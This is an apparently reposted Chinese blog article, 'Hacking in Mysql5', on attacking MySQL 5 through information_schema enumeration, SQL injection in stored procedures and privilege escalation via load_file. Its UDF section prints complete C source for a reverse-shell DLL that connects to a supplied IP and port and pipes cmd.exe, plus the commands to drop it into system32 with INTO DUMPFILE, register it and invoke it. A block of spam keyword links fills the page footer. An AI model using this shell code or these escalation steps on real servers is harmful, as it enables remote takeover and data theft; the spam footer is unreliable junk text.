<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    朋的博客

    MySQL資料,Java技術,管理思想,博弈論,Ajax,XP極限編程,H.264,HEVC,HDR
    隨筆 - 86, 文章 - 59, 評論 - 1069, 引用 - 0
    數據加載中……

    如何黑MySQL5數據庫?(來自:http://superhei.blogbus.com)

    Hacking in Mysql5

    Author:SuperHei_[At]_ph4nt0m.org
    Blog:
    http://superhei.blogbus.com/
    Team:http://www.ph4nt0m.org
    Data: 2006-01-29

         Mysql5增加很多新的功能,開始支持:存儲過程、觸發器、視圖、信息架構視圖等新特。可以說這些都是發展的必然,但是新的東西的出來,必定也會帶來新的安全問題,如Mysql4開始支持union查詢、子查詢。這直接導致mysql注射更容易、廣泛。mysql5的新功能會給安全帶來什么新的東西呢?下面我給大家介紹下mysql5在安全方面的特點:


    一、password authentication

    mysql5的password()和mysql4.1一樣,采用的基于SHA1的41位hash:

    mysql> select password('mypass');
    +-------------------------------------------+
    | password('mypass')                        |
    +-------------------------------------------+
    | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
    +-------------------------------------------+
    1 row in set (0.00 sec)

    在mysql4.1以前的password hashes是基于16位md5:

    mysql> SELECT PASSWORD('mypass');
    +--------------------+
    | PASSWORD('mypass') |
    +--------------------+
    | 6f8c114b58f2ce9e   |
    +--------------------+

    當使用低版本的Client連接時,回出現錯誤:Client does not support authentication protocol,為了解決這個問題,mysql5提供了一個old_password(),就相當于mysql4.1以前的的password():

    mysql> select old_password('mypass');
    +------------------------+
    | old_password('mypass') |
    +------------------------+
    | 6f8c114b58f2ce9e       |
    +------------------------+
    1 row in set (0.09 sec)

    二、數據字典(information_schema)

    和mssql、oracle、db2等數據庫一樣,mysql5提供了一個系統數據庫:information_schema
    mysql> use information_schema;
    Database changed
    mysql> show tables;
    +---------------------------------------+
    | Tables_in_information_schema          |
    +---------------------------------------+
    | CHARACTER_SETS                        |
    | COLLATIONS                            |
    | COLLATION_CHARACTER_SET_APPLICABILITY |
    | COLUMNS                               |
    | COLUMN_PRIVILEGES                     |
    | KEY_COLUMN_USAGE                      |
    | ROUTINES                              |
    | SCHEMATA                              |
    | SCHEMA_PRIVILEGES                     |
    | STATISTICS                            |
    | TABLES                                |
    | TABLE_CONSTRAINTS                     |
    | TABLE_PRIVILEGES                      |
    | TRIGGERS                              |
    | VIEWS                                 |
    | USER_PRIVILEGES                       |
    +---------------------------------------+
    16 rows in set (0.17 sec)

    在這個數據庫里我們可以得到很多信息,包括當前用戶權限:
    mysql> select * from information_schema.USER_PRIVILEGES;
    +-----------+---------------+----------------+--------------+
    | GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
    +-----------+---------------+----------------+--------------+
    | 'KK1'@'%' | NULL          | USAGE          | NO           |
    +-----------+---------------+----------------+--------------+
    1 row in set (0.02 sec)

    當前用戶權限下可以訪問的數據庫,表,列名(這個在sql注射中,導致直接暴區數據庫,表列名,再也不要‘暴力’咯):

    mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
    TICS;
    +--------------+------------+-------------+
    | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
    +--------------+------------+-------------+
    | in           | article    | articleid   |
    | in           | user       | userid      |
    +--------------+------------+-------------+
    2 rows in set (0.02 sec)

    還可以得到當前用戶權限下的VIEWS,ROUTINES等,關于ROUTINES我們在下面的‘存儲過程’里詳細介紹。

    [ps:注意是‘當前用戶權限’如果是root,那么太可以得到所有的數據庫名稱以及表列名等等]


    三、存儲過程(Stored Procedures)

    '存儲過程'的使用是mysql5的一個閃光點,在帶來方便的同時,它也帶來了新的安全隱患:如sql注射,用戶權限提升等等。

    D:\mysql5\bin>mysql -uroot -p
    Enter password: ******
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 4 to server version: 5.0.18

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

    mysql> use in
    Database changed
    mysql> delimiter //
    mysql> CREATE PROCEDURE test(id INT)
        -> BEGIN
        ->   SELECT * FROM in.USER WHERE USERID=ID;
        -> END//
    Query OK, 0 rows affected (0.08 sec)

    mysql> delimiter ;

    mysql> call test(1);
    +--------+----------+----------+
    | userid | username | password |
    +--------+----------+----------+
    |      1 | angel    | mypass   |
    +--------+----------+----------+
    1 row in set (0.00 sec)

    Query OK, 0 rows affected (0.00 sec)

    上面我們使用root在數據庫in里創建了一個名為test的存儲過程。

    a、SQL Injection

    mysql> call test(1 and 1=1);
    +--------+----------+----------+
    | userid | username | password |
    +--------+----------+----------+
    |      1 | angel    | mypass   |
    +--------+----------+----------+
    1 row in set (0.00 sec)

    Query OK, 0 rows affected (0.01 sec)

    mysql> call test(1 and 1=2);
    Empty set (0.00 sec)

    Query OK, 0 rows affected (0.00 sec)

    b、跨權限
    存儲過程是繼承創建者的權限的,如果存儲過程是root創建的,當其他普通用戶使用這個存儲過程時,導致跨權限攻擊:

    mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
        -> ON `IN`.*
        -> TO 'KK1'@'%'
        -> IDENTIFIED BY 'OBSCURE';
    Query OK, 0 rows affected (0.03 sec)

    上面建立一個KK1的用戶只在數據庫in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權限,使用KK1登陸:
    D:\mysql5\bin>mysql -uKK1 -p
    Enter password: ******
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 5 to server version: 5.0.18

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

    mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
    ation_schema.ROUTINES;
    +----------------+--------------+----------------+--------------------+
    | ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |
    +----------------+--------------+----------------+--------------------+
    | in             | test         | root@localhost |                    |
    | in             | tt           | root@localhost |                    |
    +----------------+--------------+----------------+--------------------+
    2 rows in set (0.01 sec)

    我們可以得到KK1可以使用存儲過程in.test 其創建者為root@localhost。不過KK1沒有權限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權限:

    mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
    +--------+----------+----------+
    | userid | username | password |
    +--------+----------+----------+
    |      1 | angel    | mypass   |
    +--------+----------+----------+
    1 row in set (0.00 sec)

    Query OK, 0 rows affected (0.01 sec)

    mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
    Empty set (0.00 sec)

    Query OK, 0 rows affected (0.00 sec)

    沒有file權限的KK1可以使用in.test使用load_file(),我們還可以直接對mysql.user進行select,如果存儲過程可以updata,insert注射,那么我們可以普通用戶直接通過注射來修改mysql.user里的數據。

    四、User-Defined Function

    [ps:下面都是基于win系統]

    mysql5的udf在格式和安全方面做一些新的改變:
    1、格式要求更加嚴格[xxx_init()初始化函數]
    對于沒有xxx_init()初始化函數 在以前的版本是可以使用的,但是在mysql5下會出現Can't find function 'xxx_init' in library的錯誤,如:

    mysql> create function ExitProcess returns integer soname 'kernel32';
    ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library

    下面給出的代碼是好友云舒寫的,符合mysql5的udf格式要求可以在mysql5下使用:

    /*******************************************************************************
    * File:   MySQL_Shell.cpp
    * Author: 云舒(wustyunshu at hotmail dot com)
    * Date:    2005-12-12
    *******************************************************************************/
    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>

    #define MAKE_DLL                /* Build dll here */

    #include "MySQL_Shell.h"

    #pragma comment( lib, "ws2_32" )

    #define BUFFER_SIZE    1024

    ///////////////////////////////////////////////////////////////////////////////
    //函數原型
    ///////////////////////////////////////////////////////////////////////////////

    BOOL StartWith( char *, char * );
    void LogMsg( char * );

    ///////////////////////////////////////////////////////////////////////////////
    //MySQL模塊初始化函數
    ///////////////////////////////////////////////////////////////////////////////

    LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
    {
        if ( args->arg_count != 2 )
        {
            strcpy( message, "Shell() requires two arguments" );
            return 1;
        }

        if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
        {
            strcpy( message, "Shell() requires two string arguent" );
            return 1;
        }

        return 0;
    }

    ///////////////////////////////////////////////////////////////////////////////
    //MySQL模塊主功能函數,反向連接提供shell
    ///////////////////////////////////////////////////////////////////////////////

    LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
    {
        SOCKET            sock;
        SOCKADDR_IN        sin;
        int                ret;
        
        // Create socket
        sock = socket( AF_INET, SOCK_STREAM, 0 );
        if ( sock == INVALID_SOCKET )
        {
            strcpy( error, "Create socket error" );

            return -1;
        }

        sin.sin_family = AF_INET;
        sin.sin_port = htons( atoi(args->args[1]) );
        sin.sin_addr.s_addr = inet_addr( args->args[0] );
        
        //connect to remote server
        ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
        if( ret == SOCKET_ERROR )
        {
            strcpy( error, "Connect error" );

            return -1;
        }

        SECURITY_ATTRIBUTES    sa;
        
        sa.nLength = sizeof( sa );
        sa.lpSecurityDescriptor = 0;
        sa.bInheritHandle = TRUE;
        
        HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

        ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
        ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
            
        STARTUPINFO    si;
        ZeroMemory( &si, sizeof(si) );

        GetStartupInfo( &si );
        
        si.cb = sizeof( si );
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = hReadPipe2;
        si.hStdOutput = si.hStdError = hWritePipe1;
        
        PROCESS_INFORMATION    processInfo;
        
        char    cmdLine[] = "cmd.exe";

        ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
        ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
        
        char            buff[BUFFER_SIZE] = { 0 };            
        unsigned long    bytesRead = 0;
        int             i = 0;
        
        while( TRUE )
        {
            memset( buff, 0, BUFFER_SIZE );
            
              ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
              
              for(i = 0; i < 5 && bytesRead == 0; i++)
            {
                Sleep(100);
                ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
            }
            
              if( bytesRead )
            {
                   ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
                   if( !ret ) break;
      
                ret = send( sock, buff, bytesRead, 0 );
                   if( ret <= 0 ) break;
              }
            else
            {
                   bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
                    
                   if( bytesRead <= 0 ) break;
                
                if( StartWith( buff , "exit" ) == TRUE ) break;

                   ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
                   if( !ret ) break;
               }
        }
        
        TerminateProcess( processInfo.hProcess, 0 );

        CloseHandle( hReadPipe1 );
        CloseHandle( hReadPipe2 );
        CloseHandle( hWritePipe1 );
        CloseHandle( hWritePipe2 );
        
        closesocket( sock );

        return 0;
    }    

    ///////////////////////////////////////////////////////////////////////////////
    //判斷字符串是否以另一個字符串開頭
    ///////////////////////////////////////////////////////////////////////////////

    BOOL StartWith( char *buf1, char *buf2 )
    {
        int len = strlen(buf2);

        if( memcmp( buf1,buf2,len ) == 0 )
        {
            return TRUE;
        }
        return FALSE;
    }

    ///////////////////////////////////////////////////////////////////////////////
    //記錄日志信息,調試用
    ///////////////////////////////////////////////////////////////////////////////

    void LogMsg( char *msg )
    {
        FILE    *fp;

        fp = fopen( "C:\mysql.txt", "a+" );

        fputs( msg, fp );

        fclose( fp );
    }


    /*******************************************************************************
    * File:   MySQL_Shell.h
    * Author: 云舒(wustyunshu at hotmail dot com)
    * Date:    2005-12-12
    *******************************************************************************/

    #ifdef MAKE_DLL
        #define LIB extern "C" __declspec(dllexport)
    #else
        #define LIB extern "C" __declspec(dllimport)
    #endif

    #define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

    typedef char my_bool;

    enum Item_result
    {
        STRING_RESULT,REAL_RESULT,INT_RESULT
    };

    typedef struct st_udf_args
    {
        unsigned int        arg_count;           /* Number of arguments */
        enum Item_result    *arg_type;           /* Pointer to item_results */
        char                **args;                 /* Pointer to argument */
        unsigned long        *lengths;            /* Length of string arguments */
        char                *maybe_null;         /* Set to 1 for all maybe_null args */
    } UDF_ARGS;


    typedef struct st_udf_init
    {
        my_bool                maybe_null;          /* 1 if function can return NULL */
        unsigned int        decimals;            /* for real functions */
        unsigned int        max_length;          /* For string functions */
        char                *ptr;                /* free pointer for function data */
        char                const_item;          /* 0 if result is independent of arguments */
    } UDF_INIT;

    LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

    LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );


    2、mysql5限制了udf對應的文件dll文件只可以放在system32目錄下。
    對于一般低權限的系統用戶是沒有對system32目錄寫權限的,在這樣的情況下我們可以使用into dumpfile把dll文件放到system32來突破,具體如下:
    mysql> use mysql;
    Database changed
    mysql> create table heige(line blob);
    Query OK, 0 rows affected (0.50 sec)

    mysql> insert into heige values(load_file('c:/udf.dll'));
    Query OK, 1 row affected (0.08 sec)

    mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
    Query OK, 1 row affected (0.18 sec)

    mysql> create function shell returns integer soname 'heige.dll';
    Query OK, 0 rows affected (0.07 sec)

    mysql> select * from mysql.func;
    +-------+-----+-----------+----------+
    | name  | ret | dl        | type     |
    +-------+-----+-----------+----------+
    | shell |   2 | heige.dll | function |
    +-------+-----+-----------+----------+
    1 row in set (0.00 sec)

    mysql> select shell('127.0.0.1','1234');
    +---------------------------+
    | shell('127.0.0.1','1234') |
    +---------------------------+
    |                      NULL |
    +---------------------------+
    1 row in set (0.97 sec)

    五、參考
    《MySQL 5.0 Reference Manual》
    http://dev.mysql.com/doc/refman/5.0/en/
    《Hackproofing MySQL》         http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
    《給mysql加個自定義函數(windows平臺)》http://www.icylife.net/yunshu/show.php?id=244

    六、感謝
    感謝云舒、TomyChen、Mix ...所有pst的兄弟們。

    謝謝閱讀!

    posted on 2006-02-19 21:53 benchensz 閱讀(1981) 評論(0)  編輯  收藏 所屬分類: MySQL資料翻譯

    主站蜘蛛池模板: 不卡精品国产_亚洲人成在线| 国产精品亚洲综合| 伊人久久精品亚洲午夜| 久久午夜免费视频| 毛片在线全部免费观看| 日韩精品无码免费视频| 亚洲国产精品成人AV在线| 亚洲成无码人在线观看| 亚洲AV无码日韩AV无码导航| 亚洲免费日韩无码系列| 日韩成人免费在线| 在线看片无码永久免费视频| 日韩精品内射视频免费观看 | 精品国产呦系列在线观看免费 | 女人毛片a级大学毛片免费| 伊人久久免费视频| a级毛片毛片免费观看久潮 | 国产av无码专区亚洲av果冻传媒 | 亚洲人AV在线无码影院观看| 亚洲精品成人久久| 亚洲黄色网站视频| 亚洲视频在线免费播放| 亚洲国产精品久久久久婷婷软件| 亚洲国产精品无码久久一区二区| 亚洲中文字幕无码永久在线| 永久亚洲成a人片777777| 久久精品国产亚洲Aⅴ香蕉 | 免费一级毛片在线播放视频免费观看永久| 亚洲中文字幕乱码熟女在线| 一区二区亚洲精品精华液| 国产亚洲福利在线视频| 亚洲日本一线产区和二线| 亚洲爆乳AAA无码专区| 色偷偷噜噜噜亚洲男人| jizzjizz亚洲日本少妇| 国产亚洲日韩在线a不卡| 特级毛片在线大全免费播放| 国产成人精品免费视频大全| 三年在线观看免费观看完整版中文| 中文字幕免费在线播放| 日本免费电影一区二区|